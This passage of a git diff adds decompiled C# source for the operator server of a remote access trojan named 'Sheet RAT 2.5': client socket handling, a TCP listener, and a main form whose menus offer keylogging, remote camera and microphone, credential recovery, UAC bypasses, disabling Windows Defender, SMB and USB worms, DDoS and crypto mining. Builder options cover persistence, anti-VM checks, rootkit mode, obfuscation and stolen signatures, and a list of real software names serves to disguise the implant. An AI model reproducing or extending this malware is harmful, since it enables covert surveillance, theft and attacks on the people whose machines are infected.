Server.Connection { + +public class Clients +{ + public bool Connect; + public DataGridViewRow Item; + public DataGridViewRow ItemMiner; + public bool MiningEtc = true; + public bool ddos; + public bool thisisrecovery; + private System.Threading.Timer TimeOutTimer; + + public event Clients.BytesDelegate Recevied; + + public event Clients.BytesDelegate Sent; + + public Socket TcpClient { get; set; } + + public NetworkStream SslClient { get; set; } + + private byte[] ClientBuffer { get; set; } + + private long HeaderSize { get; set; } + + private long Offset { get; set; } + + private bool ClientBufferRecevied { get; set; } + + public object SendSync { get; set; } + + public DateTime LastPiy { get; set; } + + public string Ip { get; set; } + + public string ID { get; set; } + + public string Reverse { get; set; } + + public string Info { get; set; } + + public string Window { get; set; } + + public string WindowTaskDetected { get; set; } + + public Clients(Socket socket) + { + try + { + this.SendSync = new object(); + this.TcpClient = socket; + this.Ip = this.TcpClient.RemoteEndPoint.ToString().Split(':')[0]; + this.SslClient = new NetworkStream(this.TcpClient, true); + this.Offset = 0L; + this.HeaderSize = 4L; + this.ClientBuffer = new byte[this.HeaderSize]; + this.SslClient.BeginRead(this.ClientBuffer, (int) this.Offset, (int) this.HeaderSize, new AsyncCallback(this.ReadClientData), (object) null); + this.Connect = true; + this.Recevied += (Clients.BytesDelegate) (item => Task.Run((Func) (() => Data.ReceivedValue += (long) item))); + this.Sent += (Clients.BytesDelegate) (item => Task.Run((Func) (() => Data.SentValue += (long) item))); + } + catch + { + this.Disconnected("Init ERROR"); + } + } + + public void TimeOutStart() + { + this.TimeOutTimer = new System.Threading.Timer(new TimerCallback(this.TimeOut), (object) null, 0, new Random().Next(1000, 6000)); + } + + private void TimeOut(object Sender) + { + if (Methods.DiffSeconds(this.LastPiy, DateTime.Now) <= 30.0) + return; + this.TimeOutTimer.Dispose(); + this.Disconnected(nameof (TimeOut)); + } + + public void ReadClientData(IAsyncResult ar) + { + try + { + if (!this.Connect) + return; + if (!this.TcpClient.Connected) + { + this.Disconnected("!TcpClient.Connected read"); + } + else + { + int BytesRecevied = this.SslClient.EndRead(ar); + if (BytesRecevied > 0) + { + this.HeaderSize -= (long) BytesRecevied; + this.Offset += (long) BytesRecevied; + if (!this.ClientBufferRecevied) + { + if (this.HeaderSize == 0L) + { + this.HeaderSize = (long) BitConverter.ToInt32(this.ClientBuffer, 0); + if (this.HeaderSize > 0L) + { + this.ClientBuffer = new byte[this.HeaderSize]; + this.Offset = 0L; + this.ClientBufferRecevied = true; + } + } + else if (this.HeaderSize < 0L) + { + this.Disconnected("HeaderSize < 0"); + return; + } + } + else + { + if (this.Recevied != null) + this.Recevied(BytesRecevied); + if (this.HeaderSize == 0L) + { + Packet.Read(this.ClientBuffer, this); + this.Offset = 0L; + this.HeaderSize = 4L; + this.ClientBuffer = new byte[this.HeaderSize]; + this.ClientBufferRecevied = false; + } + else if (this.HeaderSize < 0L) + { + this.Disconnected("HeaderSize < 0"); + return; + } + } + this.SslClient.BeginRead(this.ClientBuffer, (int) this.Offset, (int) this.HeaderSize, new AsyncCallback(this.ReadClientData), (object) null); + } + else + this.Disconnected("recevied < 0"); + } + } + catch (Exception ex) + { + this.Disconnected("Ex read: " + ex.ToString()); + } + } + + public void Disconnected() => this.Disconnected("Other"); + + public void Disconnected(string prechina) + { + if (!this.Connect) + return; + CustomConsole.WriteLine(CustomConsole.Title.Disconnect, "Disconnect: " + prechina); + this.Connect = false; + if (this.TimeOutTimer != null) + { + try + { + if (this.Item != null) + { + HandlerLogs handlerLogs = new HandlerLogs(this.Ip, $"Disconnect Client {this.Info} active window: {this.Window}", Color.Red); + Program.form.GridClients.Invoke((MethodInvoker) (() => Program.form.GridClients.Rows.Remove(this.Item))); + this.Item.Dispose(); + Map.RemoveGmapControlOnline(this.ID); + Map.AddOffline(Map.search(this.ID)); + } + else if (this.ItemMiner != null) + { + if (this.MiningEtc) + Program.form.Miner.Grid1.Invoke((MethodInvoker) (() => Program.form.Miner.Grid1.Rows.Remove(this.ItemMiner))); + else + Program.form.MinerXmr.Grid1.Invoke((MethodInvoker) (() => Program.form.MinerXmr.Grid1.Rows.Remove(this.ItemMiner))); + this.ItemMiner.Dispose(); + } + else if (this.ddos) + Program.form.ddos.Invoke((MethodInvoker) (() => Program.form.ddos.plugins.Remove(this))); + } + catch (Exception ex) + { + CustomConsole.WriteLine(CustomConsole.Title.Error, "Disconnect Error: " + ex.ToString()); + } + } + try + { + this.ClientBuffer = (byte[]) null; + this.HeaderSize = 0L; + this.Offset = 0L; + this.TcpClient?.Close(); + this.SslClient?.Close(); + this.TcpClient?.Dispose(); + this.SslClient?.Dispose(); + } + catch + { + } + } + + public void Send(object message) + { + Task.Run((Action) (() => this.Send(Encoding.UTF8.GetBytes((string) message)))); + } + + public void Send(byte[] msg) + { + if (!this.Connect) + return; + if (!this.TcpClient.Connected) + { + this.Disconnected("Send !TcpClient.Connected"); + } + else + { + if (msg == null) + return; + string[] strArray = Encoding.UTF8.GetString(msg).Split(new string[1] + { + "<@>" + }, StringSplitOptions.None); + if (strArray[0] != "Ping" && strArray[0] != "Pong" && strArray[0] != "P") + CustomConsole.WriteLine(CustomConsole.Title.PacketSend, $"Send: {strArray[0]} {Methods.BytesToString((long) msg.Length)} IP: {this.Ip}"); + try + { + lock (this.SendSync) + { + msg = Methods.Compress(msg); + byte[] bytes = BitConverter.GetBytes(msg.Length); + this.TcpClient.Poll(-1, SelectMode.SelectWrite); + this.SslClient.Write(bytes, 0, bytes.Length); + if (msg.Length > 1000000) + { + CustomConsole.WriteLine(CustomConsole.Title.Information, "Big file: " + Methods.BytesToString((long) msg.Length)); + using (MemoryStream memoryStream = new MemoryStream(msg)) + { + memoryStream.Position = 0L; + byte[] buffer = new byte[500000]; + int num; + while ((num = memoryStream.Read(buffer, 0, buffer.Length)) > 0) + { + this.TcpClient.Poll(-1, SelectMode.SelectWrite); + this.SslClient.Write(buffer, 0, num); + this.SslClient.Flush(); + if (this.Sent != null) + this.Sent(num); + } + } + } + else + { + this.TcpClient.Poll(-1, SelectMode.SelectWrite); + this.SslClient.Write(msg, 0, msg.Length); + this.SslClient.Flush(); + if (this.Sent != null) + this.Sent(msg.Length); + } + msg = (byte[]) null; + } + } + catch (Exception ex) + { + this.Disconnected("Send Ex " + ex.ToString()); + } + } + } + + public void SendFile(object message) + { + Task.Run((Action) (() => this.SendFile(Encoding.UTF8.GetBytes((string) message)))); + } + + public void SendFile(byte[] msg) + { + if (!this.Connect) + return; + if (!this.TcpClient.Connected) + { + this.Disconnected("Send !TcpClient.Connected"); + } + else + { + if (msg == null) + return; + CustomConsole.WriteLine(CustomConsole.Title.PacketSend, + $"SendFile: {Encoding.UTF8.GetString(msg).Split(new string[1] { "<@>" }, StringSplitOptions.None)[0]} {Methods.BytesToString((long)msg.Length)} IP: {this.Ip}"); + lock (this.SendSync) + + { + try + { + msg = Methods.Compress(msg); + byte[] bytes = BitConverter.GetBytes(msg.Length); + this.TcpClient.Poll(-1, SelectMode.SelectWrite); + this.SslClient.Write(bytes, 0, bytes.Length); + if (msg.Length > 5000) + { + using (MemoryStream memoryStream = new MemoryStream(msg)) + { + memoryStream.Position = 0L; + byte[] buffer = new byte[5000]; + int num; + while ((num = memoryStream.Read(buffer, 0, buffer.Length)) > 0) + { + this.TcpClient.Poll(-1, SelectMode.SelectWrite); + this.SslClient.Write(buffer, 0, num); + this.SslClient.Flush(); + if (this.Sent != null) + this.Sent(num); + } + } + } + else + { + this.TcpClient.Poll(-1, SelectMode.SelectWrite); + this.SslClient.Write(msg, 0, msg.Length); + this.SslClient.Flush(); + if (this.Sent != null) + this.Sent(msg.Length); + } + msg = (byte[]) null; + } + catch (Exception ex) + { + this.Disconnected("Send Ex " + ex.ToString()); + } + } + } + } + + public delegate void BytesDelegate(int BytesRecevied); +} +} diff --git a/Server/Server/Connection/Listener.cs b/Server/Server/Connection/Listener.cs new file mode 100644 index 0000000..cabc0de --- /dev/null +++ b/Server/Server/Connection/Listener.cs @@ -0,0 +1,73 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Connection.Listener +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Message; +using System; +using System.Windows.Forms; +using System.Drawing; +using System.Net; +using System.Net.Sockets; + +//#nullable disable +namespace Server.Connection { + +public class Listener : IDisposable +{ + public string port; + + public void Dispose() + { + HandlerLogs handlerLogs = new HandlerLogs("Server", "Stop Listing " + this.port, Color.Yellow); + this.Dispose(true); + GC.SuppressFinalize((object) this); + } + + protected virtual void Dispose(bool disposing) => this.Server.Dispose(); + + private Socket Server { get; set; } + + public Listener(object port) + { + try + { + IPEndPoint localEP = new IPEndPoint(IPAddress.Any, Convert.ToInt32(port)); + this.port = port.ToString(); + this.Server = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) + { + SendBufferSize = 51200, + ReceiveBufferSize = 51200 + }; + this.Server.Bind((EndPoint) localEP); + this.Server.Listen(9000000); + this.Server.BeginAccept(new AsyncCallback(this.EndAccept), (object) null); + HandlerLogs handlerLogs = new HandlerLogs(nameof (Server), "Start Listing " + this.port, Color.Aqua); + } + catch (Exception ex) + { + HandlerLogs handlerLogs = new HandlerLogs(nameof (Server), "Listner Error " + ex.Message, Color.Red); + } + } + + private void EndAccept(IAsyncResult ar) + { + try + { + Clients clients = new Clients(this.Server.EndAccept(ar)); + } + catch (Exception ex) + { + HandlerLogs handlerLogs = new HandlerLogs("Server", "Listner Error EndAccept " + ex.Message, Color.Red); + } + try + { + this.Server.BeginAccept(new AsyncCallback(this.EndAccept), (object) null); + } + catch + { + } + } +} +} diff --git a/Server/Server/Form1.cs b/Server/Server/Form1.cs new file mode 100644 index 0000000..ea7356e --- /dev/null +++ b/Server/Server/Form1.cs @@ -0,0 +1,6304 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Form1 +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using cGeoIp; +using dnlib.DotNet; +using dnlib.DotNet.Emit; +using GMap.NET; +using GMap.NET.MapProviders; +using GMap.NET.WindowsForms; +using MetroFramework; +using MetroFramework.Controls; +using MetroFramework.Forms; +using MindLated.Protection.CtrlFlow; +using MindLated.Protection.Proxy; +using MindLated.Protection.Renamer; +using Server.Connection; +using Server.Forms; +using Server.Helper; +using Server.Helper.Configs; +using Server.Helper.Configs.Themes; +using Server.Helper.Notif; +using Server.Properties; +using Stub.Helper.CryptString; +using System; +using System.Windows.Forms; +using System.Collections; +using System.Collections.Generic; +using System.Collections.Specialized; +using System.ComponentModel; +using System.Diagnostics; +using System.Drawing; +using System.IO; +using System.Linq; +using System.Reflection; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; +using System.Windows.Forms.Layout; +using Toolbelt.Drawing; +using Vestris.ResourceLib; + +//#nullable disable +namespace Server { + +public class Form1 : MetroForm +{ + public cGeoMain cGeoMain = new cGeoMain(); + public Listener listner; + public FormDDOS ddos = new FormDDOS(); + public FormMinerEtc Miner = new FormMinerEtc(); + public FormMinerXmr MinerXmr = new FormMinerXmr(); + public bool DDosActive; + public bool MinerActive; + public bool MinerActiveXmr; + public Notf notf = new Notf(); + private Random random = new Random(); + private string SetBut; + private string[] namesarray = new string[157] + { + "Adobe Premiere Pro", + "CorelDRAW", + "Corel PaintShop Pro", + "Autodesk Maya", + "CyberLink PowerDirector", + "DaVinci Resolve", + "Audacity", + "iTunes", + "Microsoft Excel", + "Microsoft Power BI", + "Microsoft SQL Server Management Studio", + "Microsoft Hyper-V", + "Oracle VirtualBox", + "Google SketchUp", + "Inkscape", + "Lightroom", + "Evernote", + "Trello", + "Microsoft Edge DevTools", + "Google Drive", + "Microsoft Azure DevOps", + "PuTTY", + "Wireshark", + "Docker", + "Microsoft SharePoint", + "Microsoft Dynamics", + "QuickBooks", + "MATLAB", + "Microsoft Remote Desktop", + "Microsoft Cortana", + "OpenOffice", + "Slack", + "Microsoft Money", + "Quicken", + "Sage 50", + "Microsoft Dynamics CRM", + "Sage CRM", + "KeePass", + "Jira", + "Microsoft Word", + "Microsoft PowerPoint", + "Microsoft Outlook", + "Microsoft Edge", + "Mozilla Firefox", + "Google Chrome", + "Adobe Photoshop", + "Adobe Acrobat", + "VLC Media Player", + "WinRAR", + "7-Zip", + "Notepad++", + "Visual Studio Code", + "IntelliJ IDEA", + "Eclipse", + "Microsoft Visual Studio", + "Adobe Illustrator", + "Microsoft OneNote", + "Microsoft Teams", + "Skype", + "Zoom", + "Discord", + "FileZilla", + "Paint.NET", + "GIMP (GNU Image Manipulation Program)", + "Autodesk AutoCAD", + "Blender", + "Spotify", + "Microsoft Paint", + "Snagit", + "VirtualBox", + "Microsoft Access", + "Google Earth", + "Microsoft Publisher", + "Microsoft Visio", + "Microsoft Project", + "OBS Studio", + "Sublime Text", + "Atom", + "Bitdefender Antivirus", + "Avast Antivirus", + "Malwarebytes", + "CCleaner", + "Microsoft Security Essentials", + "Dropbox", + "TeamViewer", + "Corel VideoStudio", + "Avid Pro Tools", + "FL Studio", + "Camtasia", + "Ableton Live", + "Microsoft Flight Simulator", + "Unity", + "Unreal Engine", + "Autodesk Revit", + "Citrix Receiver", + "BlueStacks", + "WPS Office", + "Corel Painter", + "Spybot - Search & Destroy", + "Greenshot", + "Picasa", + "HandBrake", + "Rainmeter", + "F.lux", + "XAMPP", + "Putty", + "Node.js", + "Microsoft Word Host", + "Google Chrome Update", + "Adobe Photoshop Upgrade", + "Microsoft Excel Host", + "VLC Media Player Update", + "Autodesk Revit Upgrade", + "Microsoft Outlook Host", + "CorelDRAW Update", + "Docker Upgrade", + "TeamViewer Host", + "OBS Studio Update", + "Avast Antivirus Upgrade", + "Microsoft Edge Host", + "Malwarebytes Update", + "Audacity Upgrade", + "Visual Studio Code Host", + "Google SketchUp Update", + "Camtasia Upgrade", + "Microsoft Teams Host", + "CyberLink PowerDirector Update", + "FileZilla Upgrade", + "Microsoft PowerPoint Host", + "PuTTY Update", + "Corel VideoStudio Upgrade", + "Autodesk Maya Host", + "Microsoft Access Update", + "Spotify Upgrade", + "Microsoft Visio Host", + "Google Drive Update", + "Adobe Premiere Pro Upgrade", + "Microsoft OneNote Host", + "DaVinci Resolve Update", + "Notepad++ Upgrade", + "Microsoft Publisher Host", + "Paint.NET Update", + "QuickBooks Upgrade", + "IntelliJ IDEA Host", + "Atom Update", + "Microsoft Dynamics Upgrade", + "Wireshark Host", + "Adobe Illustrator Update", + "KeePass Upgrade", + "Microsoft Paint Host", + "Sage 50 Update", + "GIMP Upgrade", + "Trello Host", + "Autodesk AutoCAD Update", + "Inkscape Upgrade", + "Microsoft Remote Desktop Host", + "Jira Update" + }; + private IContainer components; + private MetroTabControl metroTabControl1; + private MetroTabPage metroTabPage1; + private MetroTabPage metroTabPage2; + private ContextMenuStrip contextMenuForClients; + private ToolStripMenuItem surveillanceToolStripMenuItem; + private ToolStripMenuItem extraToolStripMenuItem; + private ToolStripMenuItem clientToolStripMenuItem; + private ToolStripMenuItem systemToolStripMenuItem; + private ToolStripMenuItem remoteDesktopToolStripMenuItem; + private ToolStripMenuItem remoteCameraToolStripMenuItem; + private ToolStripMenuItem microphoneToolStripMenuItem; + private ToolStripMenuItem sendFileToolStripMenuItem; + private ToolStripMenuItem fromDiskToolStripMenuItem; + private ToolStripMenuItem fromMemoryToolStripMenuItem; + private ToolStripMenuItem fromLinkToolStripMenuItem; + private ToolStripMenuItem updateToolStripMenuItem; + private ToolStripMenuItem removeToolStripMenuItem; + private ToolStripMenuItem reconectToolStripMenuItem; + private ToolStripMenuItem exitToolStripMenuItem; + private ToolStripMenuItem logOutToolStripMenuItem; + private ToolStripMenuItem restartToolStripMenuItem; + private ToolStripMenuItem shutdownToolStripMenuItem; + private MetroTabPage metroTabPage3; + private System.Windows.Forms.Timer PingKeepAlive; + private MetroTabPage metroTabPage4; + private ContextMenuStrip contextMenuForLogs; + private ToolStripMenuItem clearToolStripMenuItem; + private ContextMenuStrip contextMenuForTasks; + private ToolStripMenuItem toolStripMenuItem1; + private ToolStripMenuItem addToolStripMenuItem; + private MetroTabPage metroTabPage6; + public NumericUpDown numericUpDown1; + private ToolStripMenuItem installingToolStripMenuItem; + private ToolStripMenuItem shellToolStripMenuItem; + private ToolStripMenuItem exploitationToolStripMenuItem; + private ToolStripMenuItem reverseProxyToolStripMenuItem; + private NotifyIcon notifyIcon1; + public MetroToggle toogleNotyfiNewClient; + public MetroToggle toogleNotyfiClient; + private ToolStripMenuItem openFolderToolStripMenuItem; + private ToolStripMenuItem fileManagerToolStripMenuItem; + private ToolStripMenuItem regeditToolStripMenuItem; + private ToolStripMenuItem uacToolStripMenuItem; + private ToolStripMenuItem runAsAdminUacToolStripMenuItem; + private ToolStripMenuItem eventvwrToolStripMenuItem; + private ToolStripMenuItem fodhelperToolStripMenuItem; + private ToolStripMenuItem computerdefaultsToolStripMenuItem; + private ToolStripMenuItem sDCLTToolStripMenuItem; + private ToolStripMenuItem sLUIToolStripMenuItem; + private ToolStripMenuItem diskCleanupToolStripMenuItem; + private ToolStripMenuItem taskSchedulerToolStripMenuItem; + private ToolStripMenuItem keyLoggerToolStripMenuItem; + private ToolStripMenuItem mapToolStripMenuItem; + private System.Windows.Forms.Timer TimeOut; + private ToolStripMenuItem botnetSystemToolStripMenuItem; + private ToolStripMenuItem dDosAttackToolStripMenuItem; + private ToolStripMenuItem miningEtcToolStripMenuItem; + private ToolStripMenuItem interactionToolStripMenuItem; + private ToolStripMenuItem chatToolStripMenuItem; + private ToolStripMenuItem funToolStripMenuItem; + private ToolStripMenuItem runAsSystemToolStripMenuItem; + private ToolStripMenuItem taskManagerToolStripMenuItem; + private ToolStripMenuItem serviceManagerToolStripMenuItem; + private ToolStripMenuItem netStatToolStripMenuItem; + private ToolStripMenuItem autoRunToolStripMenuItem; + private ToolStripMenuItem logsToolStripMenuItem; + private ToolStripMenuItem recoveryToolStripMenuItem; + private ToolStripMenuItem sMBWormToolStripMenuItem; + private ToolStripMenuItem clearSavePluginsToolStripMenuItem; + private ToolStripMenuItem uSBWormToolStripMenuItem; + private ToolStripMenuItem disableUACToolStripMenuItem; + private ToolStripMenuItem disableWDToolStripMenuItem; + private ToolStripMenuItem getPathClientToolStripMenuItem; + public MetroToggle DiscordWebHook; + public MetroToggle DiscordNotifyClient; + public MetroToggle DiscordNotifyNewClient; + public MetroToggle DiscordSendLogs; + public MetroTextBox DiscordUrl; + public MetroTextBox DiscordHookName; + private ToolStripMenuItem toolStripMenuItem2; + private ToolStripMenuItem toolStripMenuItem3; + private ToolStripMenuItem addConnectToolStripMenuItem; + private ToolStripMenuItem copyHwidToolStripMenuItem; + private ToolStripMenuItem clipboardToolStripMenuItem; + private ToolStripMenuItem speakTextToolStripMenuItem; + public DataGridView GridLogs; + public DataGridView GridAutoTasks; + private ToolStripMenuItem messageToolStripMenuItem; + private ToolStripMenuItem copyLogsToolStripMenuItem; + private System.Windows.Forms.Timer Checker; + private ToolStripMenuItem toolStripMenuItem4; + private ToolStripMenuItem toolStripMenuItem5; + public MetroTextBox metroTextBox1; + public MetroButton metroButton1; + public MetroLabel metroLabel1; + public MetroToggle metroToggle1; + public MetroLabel metroLabel2; + public MetroLabel metroLabel6; + public MetroToggle metroToggle5; + public MetroLabel metroLabel7; + public MetroToggle metroToggle6; + public MetroLabel metroLabel8; + public MetroToggle metroToggle7; + public MetroLabel metroLabel9; + public MetroToggle metroToggle8; + public MetroLabel metroLabel5; + public MetroToggle metroToggle4; + public MetroLabel metroLabel4; + public MetroToggle metroToggle3; + public MetroLabel metroLabel3; + public MetroToggle metroToggle2; + public MetroLabel metroLabel10; + public MetroToggle metroToggle9; + public MetroLabel metroLabel11; + public MetroToggle metroToggle10; + public MetroLabel metroLabel12; + public MetroToggle metroToggle11; + public MetroLabel metroLabel13; + public MetroToggle metroToggle12; + public MetroLabel metroLabel14; + public MetroToggle metroToggle13; + public MetroLabel metroLabel15; + public MetroToggle metroToggle14; + public MetroLabel metroLabel16; + public MetroToggle metroToggle15; + public MetroLabel metroLabel17; + public MetroToggle metroToggle16; + public MetroLabel metroLabel18; + public MetroToggle metroToggle17; + public MetroLabel metroLabel19; + public MetroToggle metroToggle18; + public MetroLabel metroLabel20; + public MetroToggle metroToggle19; + public MetroLabel metroLabel21; + public MetroToggle metroToggle20; + public MetroLabel metroLabel22; + public MetroToggle metroToggle21; + public MetroLabel metroLabel23; + public MetroToggle metroToggle22; + public MetroLabel metroLabel25; + public MetroCheckBox AutoStartPortCheck; + public MetroLabel metroLabel30; + public MetroToggle metroToggle23; + public MetroLabel metroLabel31; + public MetroLabel metroLabel32; + public MetroLabel metroLabel33; + public MetroLabel metroLabel35; + public MetroLabel metroLabel34; + public MetroLabel metroLabel36; + public MetroLabel metroLabel45; + public MetroLabel metroLabel46; + public MetroLabel metroLabel24; + public MetroTextBox TextBoxIp; + public MetroButton ButtonIpAdd; + public MetroButton ButtonRemoveIp; + public MetroCheckBox CheckBoxInstall; + public MetroCheckBox CheckBoxAdminGet; + public Panel panel1; + public MetroCheckBox CheckBoxUserInit; + public MetroCheckBox CheckBoxHKCU; + public MetroTextBox TextBoxHKCUNAME; + public MetroCheckBox CheckBoxWatchDog; + public MetroTextBox TextBoxTaskForWatchDog; + public MetroTextBox TextBoxTaskForClient; + public MetroCheckBox CheckBoxTaskWatchDog; + public MetroCheckBox CheckBoxTaskClient; + public MetroCheckBox CheckBoxHideFile; + public MetroCheckBox CheckBoxHideFolder; + public MetroCheckBox CheckBoxPumper; + public MetroCheckBox CheckBoxAntiProcess; + public Panel panel2; + public MetroCheckBox CheckBoxAntiVirtual; + public PictureBox pictureBoxIco; + public MetroComboBox ComboBoxPathClient; + public MetroTextBox TextBoxPathClient; + public MetroLabel metroLabel27; + public MetroLabel metroLabel26; + public MetroTextBox TextBoxPathWatchDog; + public MetroComboBox ComboBoxPathWatchDog; + public MetroButton ButtonSelectIco; + public MetroLabel metroLabel29; + public MetroLabel metroLabel28; + public MetroTextBox TextBoxMutex; + public MetroTextBox TextBoxGroup; + public MetroTextBox TextBoxProduct; + public MetroTextBox TextBoxProductVersion; + public MetroTextBox TextBoxOriginalFileName; + public MetroTextBox TextBoxTrademarks; + public MetroTextBox TextBoxCopyright; + public MetroTextBox TextBoxCompany; + public MetroTextBox TextBoxDescription; + public MetroLabel metroLabel37; + public MetroLabel metroLabel38; + public MetroLabel metroLabel39; + public MetroLabel metroLabel40; + public MetroLabel metroLabel41; + public MetroLabel metroLabel42; + public MetroLabel metroLabel43; + public MetroLabel metroLabel44; + public MetroTextBox TextBoxFileVersion; + public MetroButton ButtonCopyAssembly; + public MetroCheckBox CheckBoxAssembly; + public MetroCheckBox CheckBoxIco; + public MetroTextBox TextBoxTaskSaveAdmin; + public MetroCheckBox CheckBoxCtrlFlow; + public MetroCheckBox CheckBoxRename; + public MetroButton metroButton2; + public MetroCheckBox CheckBoxProxyString; + public MetroCheckBox ObfusctationArithmetic; + public MetroCheckBox ObfuscationJunkCode; + public MetroCheckBox CheckBoxJumpCtrlFlow; + public MetroCheckBox ProxyCall; + public MetroCheckBox CheckBoxSigTheif; + public MetroButton ButtonSelectSigTheif; + public MetroButton metroButton5; + public MetroButton metroButton4; + public MetroButton metroButton3; + public MetroRadioButton RadioButtonKillAntiProcess; + public MetroRadioButton RadioButtonExitAntiProcess; + private MetroTabPage metroTabPage5; + public GMapControl gMapControl1; + private ToolStripMenuItem mapToolStripMenuItem1; + private Panel panel3; + private MetroRadioButton metroRadioButton1; + private MetroRadioButton metroRadioButton3; + private MetroRadioButton metroRadioButton2; + private Panel panel4; + private MetroRadioButton metroRadioButton5; + private MetroRadioButton metroRadioButton6; + public MetroCheckBox CheckBoxRootKitMode; + public MetroButton metroButton6; + public MetroLabel metroLabel47; + public MetroTextBox metroTextBoxPasteBin; + public MetroCheckBox metroCheckBox1; + private ToolStripMenuItem fullImageOpenToolStripMenuItem; + private MetroTabPage metroTabPage7; + private MetroLabel metroLabel48; + private PictureBox pictureBox1; + private PictureBox pictureBox3; + private PictureBox pictureBox2; + private PictureBox pictureBox4; + private PictureBox pictureBox5; + public DataGridImage GridClients; + private PictureBox pictureBox6; + public MetroButton metroButton7; + private ToolStripMenuItem setBackgroundToolStripMenuItem; + public DataGridView GridIps; + + public Form1() => this.InitializeComponent(); + + private void DataGridKey_Up(object sender, KeyEventArgs e) + { + if (this.SetBut == null || e.KeyCode != Keys.ControlKey && e.KeyCode != Keys.F) + return; + this.SetBut = (string) null; + } + + private void DataGridKey_Down(object sender, KeyEventArgs e) + { + if (this.SetBut == null) + { + if (e.KeyCode != Keys.ControlKey && e.KeyCode != Keys.F) + return; + this.SetBut = e.KeyCode.ToString(); + } + else + { + if (!(e.KeyCode.ToString() != this.SetBut) || e.KeyCode != Keys.ControlKey && e.KeyCode != Keys.F) + return; + InputBoxCustom inputBoxCustom = new InputBoxCustom(); + inputBoxCustom.Text = "Search"; + int num = (int) inputBoxCustom.ShowDialog(); + foreach (DataGridViewRow row in (IEnumerable) this.GridClients.Rows) + { + if (((string) row.Cells[5].Value).Contains(inputBoxCustom.Input.Text) || ((string) row.Cells[6].Value).Contains(inputBoxCustom.Input.Text) || ((string) row.Cells[7].Value).Contains(inputBoxCustom.Input.Text) || ((string) row.Cells[3].Value).Contains(inputBoxCustom.Input.Text) || ((string) row.Cells[6].Value).Contains(inputBoxCustom.Input.Text) || ((string) row.Cells[7].Value).Contains(inputBoxCustom.Input.Text) || ((string) row.Cells[10].Value).Contains(inputBoxCustom.Input.Text) || ((string) row.Cells[11].Value).Contains(inputBoxCustom.Input.Text) || ((string) row.Cells[22].Value).Contains(inputBoxCustom.Input.Text) || ((string) row.Cells[20].Value).Contains(inputBoxCustom.Input.Text)) + row.Selected = true; + } + this.SetBut = (string) null; + } + } + + private void Form1_Load(object sender, EventArgs e) + { + this.FormClosing += (FormClosingEventHandler) ((d, b) => + { + AutoTaskM.Save(); + Bulid.Save("ConfigBulid.json"); + Customs.Save("Themes.json"); + Map.Save("Maps.json"); + Environment.Exit(0); + }); + DataGridViewColumnCollection columns1 = this.GridIps.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn1 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn1.AutoSizeMode = DataGridViewAutoSizeColumnMode.Fill; + viewTextBoxColumn1.HeaderText = "Hosts"; + DataGridViewTextBoxColumn viewTextBoxColumn2 = viewTextBoxColumn1; + columns1.Add((DataGridViewColumn) viewTextBoxColumn2); + DataGridViewColumnCollection columns2 = this.GridAutoTasks.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn3 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn3.AutoSizeMode = DataGridViewAutoSizeColumnMode.AllCells; + viewTextBoxColumn3.HeaderText = "Trigger"; + viewTextBoxColumn3.MinimumWidth = 100; + DataGridViewTextBoxColumn viewTextBoxColumn4 = viewTextBoxColumn3; + columns2.Add((DataGridViewColumn) viewTextBoxColumn4); + DataGridViewColumnCollection columns3 = this.GridAutoTasks.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn5 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn5.AutoSizeMode = DataGridViewAutoSizeColumnMode.AllCells; + viewTextBoxColumn5.HeaderText = "Action"; + viewTextBoxColumn5.MinimumWidth = 100; + DataGridViewTextBoxColumn viewTextBoxColumn6 = viewTextBoxColumn5; + columns3.Add((DataGridViewColumn) viewTextBoxColumn6); + DataGridViewColumnCollection columns4 = this.GridAutoTasks.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn7 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn7.AutoSizeMode = DataGridViewAutoSizeColumnMode.AllCells; + viewTextBoxColumn7.HeaderText = "Runs"; + viewTextBoxColumn7.MinimumWidth = 100; + DataGridViewTextBoxColumn viewTextBoxColumn8 = viewTextBoxColumn7; + columns4.Add((DataGridViewColumn) viewTextBoxColumn8); + DataGridViewColumnCollection columns5 = this.GridAutoTasks.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn9 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn9.AutoSizeMode = DataGridViewAutoSizeColumnMode.Fill; + viewTextBoxColumn9.HeaderText = "Tasks Name"; + DataGridViewTextBoxColumn viewTextBoxColumn10 = viewTextBoxColumn9; + columns5.Add((DataGridViewColumn) viewTextBoxColumn10); + DataGridViewColumnCollection columns6 = this.GridLogs.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn11 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn11.AutoSizeMode = DataGridViewAutoSizeColumnMode.None; + viewTextBoxColumn11.HeaderText = "Client"; + viewTextBoxColumn11.MinimumWidth = 120; + viewTextBoxColumn11.Width = 120; + DataGridViewTextBoxColumn viewTextBoxColumn12 = viewTextBoxColumn11; + columns6.Add((DataGridViewColumn) viewTextBoxColumn12); + DataGridViewColumnCollection columns7 = this.GridLogs.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn13 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn13.AutoSizeMode = DataGridViewAutoSizeColumnMode.None; + viewTextBoxColumn13.HeaderText = "Time"; + viewTextBoxColumn13.MinimumWidth = 120; + viewTextBoxColumn13.Width = 120; + DataGridViewTextBoxColumn viewTextBoxColumn14 = viewTextBoxColumn13; + columns7.Add((DataGridViewColumn) viewTextBoxColumn14); + DataGridViewColumnCollection columns8 = this.GridLogs.Columns; + 